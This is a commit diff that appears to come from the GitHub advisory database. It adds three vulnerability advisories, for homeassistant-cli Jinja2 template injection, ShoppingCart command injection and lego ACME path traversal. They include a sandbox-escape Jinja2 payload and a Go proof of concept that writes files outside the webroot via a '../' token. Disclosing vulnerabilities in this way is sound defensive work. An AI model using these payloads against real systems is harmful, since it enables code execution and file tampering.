Skip to content

Commit d0efe19

Browse files
1 parent d17ccea commit d0efe19

File tree

4 files changed

+435
-4
lines changed

4 files changed

+435
-4
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-33qf-q99x-wpm8",
4+
"modified": "2026-04-16T21:28:39Z",
5+
"published": "2026-04-16T21:28:39Z",
6+
"aliases": [
7+
"CVE-2026-40602"
8+
],
9+
"summary": "Home Assistant Command-line Interface: Handling of user-supplied Jinja2 templates",
10+
"details": "### Impact\n\nUp to 1.0.0 of `home-assitant-cli` (or `hass-cli` for short) an unrestricted environment was used to handle Jninja2 templates instead of a sandboxed one. The user-supplied input within Jinja2 templates was rendered locally with no restrictions. This gave users access to Python's internals and extended the scope of templating beyond the intended usage.\n\nE. g., it was possible to render a template with `hass-cli template bad-template.j2 --local` that contained entries like\n\n````j2\n{%- set b = environ.__globals__['__builtins__'] -%}\n{%- set os = b['__import__']('os') -%}\n{%- set bio = b['__import__']('builtins') -%}\n...\n````\n\nor other malicious Jinja2 expressions. This can lead to arbitrary code execution on the local machine.\n\nIn a two step process an adversary could trick/convince an user to download third-party templates which contain harmful code (e. g., perform data manipulation or establish a remote shell) then to render those templates unchecked/reviewed/verified with `--local`. \n\nThe issue only affect the local machine and not a remote Home Assistant instance. It also requires user interventions.\n\n### Patches\n\n1.0.0 uses `ImmutableSandboxedEnvironment` and restricts the usage of environment variables.\n\n### Workarounds\n\nEvaluate the Jninja2 templates manually or tool-based before rendering with `hass-cli`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "homeassistant-cli"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/home-assistant-ecosystem/home-assistant-cli/security/advisories/GHSA-33qf-q99x-wpm8"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/home-assistant-ecosystem/home-assistant-cli/pull/453"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/home-assistant-ecosystem/home-assistant-cli"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-1336",
55+
"CWE-94"
56+
],
57+
"severity": "MODERATE",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-04-16T21:28:39Z",
60+
"nvd_published_at": null
61+
}
62+
}

advisories/unreviewed/2026/04/GHSA-ggmw-mjhv-75rm/GHSA-ggmw-mjhv-75rm.json renamed to advisories/github-reviewed/2026/04/GHSA-ggmw-mjhv-75rm/GHSA-ggmw-mjhv-75rm.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-ggmw-mjhv-75rm",
4-
"modified": "2026-04-15T18:31:56Z",
4+
"modified": "2026-04-16T21:26:36Z",
55
"published": "2026-04-15T15:31:43Z",
66
"aliases": [
77
"CVE-2024-53412"
88
],
9+
"summary": "NietThijmen ShoppingCart: Command injection in the connect function",
910
"details": "Command injection in the connect function in NietThijmen ShoppingCart 0.0.2 allows an attacker to execute arbitrary shell commands and achieve remote code execution via injection of malicious payloads into the Port field",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/NietThijmen/ShoppingCart"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.0.0-20241101155353-3dd137080276"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -26,15 +47,19 @@
2647
{
2748
"type": "WEB",
2849
"url": "https://github.com/Buckdray/vulnerability-research/blob/main/CVE-2024-53412/README.md"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/NietThijmen/ShoppingCart"
2954
}
3055
],
3156
"database_specific": {
3257
"cwe_ids": [
3358
"CWE-77"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-16T21:26:36Z",
3863
"nvd_published_at": "2026-04-15T15:16:39Z"
3964
}
4065
}
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qqx8-2xmm-jrv8",
4+
"modified": "2026-04-16T21:28:55Z",
5+
"published": "2026-04-16T21:28:55Z",
6+
"aliases": [
7+
"CVE-2026-40611"
8+
],
9+
"summary": "ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider",
10+
"details": "### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n --http --http.webroot /var/www/html \\\n --email user@example.com \\\n --domains example.com \\\n run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go && ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/go-acme/lego/v4"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.34.0"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/go-acme/lego/v3"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"last_affected": "3.9.0"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Go",
59+
"name": "github.com/go-acme/lego"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"last_affected": "2.7.2"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
76+
"references": [
77+
{
78+
"type": "WEB",
79+
"url": "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
80+
},
81+
{
82+
"type": "PACKAGE",
83+
"url": "https://github.com/go-acme/lego"
84+
}
85+
],
86+
"database_specific": {
87+
"cwe_ids": [
88+
"CWE-22"
89+
],
90+
"severity": "HIGH",
91+
"github_reviewed": true,
92+
"github_reviewed_at": "2026-04-16T21:28:55Z",
93+
"nvd_published_at": null
94+
}
95+
}

0 commit comments

Comments
 (0)